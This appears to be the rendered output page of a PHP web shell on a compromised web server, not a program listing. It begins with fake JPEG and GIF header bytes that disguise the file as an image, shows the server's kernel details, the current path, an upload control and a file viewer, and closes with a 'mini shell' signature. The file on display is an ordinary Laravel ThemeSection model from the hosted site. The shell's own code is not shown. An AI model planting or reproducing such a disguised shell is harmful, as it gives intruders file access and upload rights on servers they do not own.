ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/Modules/Appearance/Entities/
Upload File :
Current File : /var/www/yapwebtv.com/Modules/Appearance/Entities/ThemeSection.php

<?php

namespace Modules\Appearance\Entities;

use Illuminate\Database\Eloquent\Model;
use LaravelLocalization;
use Sentinel;

class ThemeSection extends Model
{
    protected $fillable = [
        'theme_id',
        'label',
        'order',
        'category_id',
        'post_amount',
        'section_style',
        'is_primary',
    ];

    public function category()
    {
        return $this->belongsTo('Modules\Post\Entities\Category', 'category_id', 'id');
    }

    public function ad()
    {
        return $this->belongsTo('Modules\Ads\Entities\Ad');
    }

    public function posts()
    {
        return $this->hasMany('Modules\Post\Entities\Post', 'category_id', 'category_id')
                                                        ->with('image', 'user')->orderBy('id', 'desc')
                                                        ->where('visibility', '1')
                                                        ->where('status', '1')->when(Sentinel::check() == false, function ($query) {
                                                            $query->where('auth_required',0);
                                                        });
    }
    public function post()
    {
        return $this->posts()->take(10);
    }
}


xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST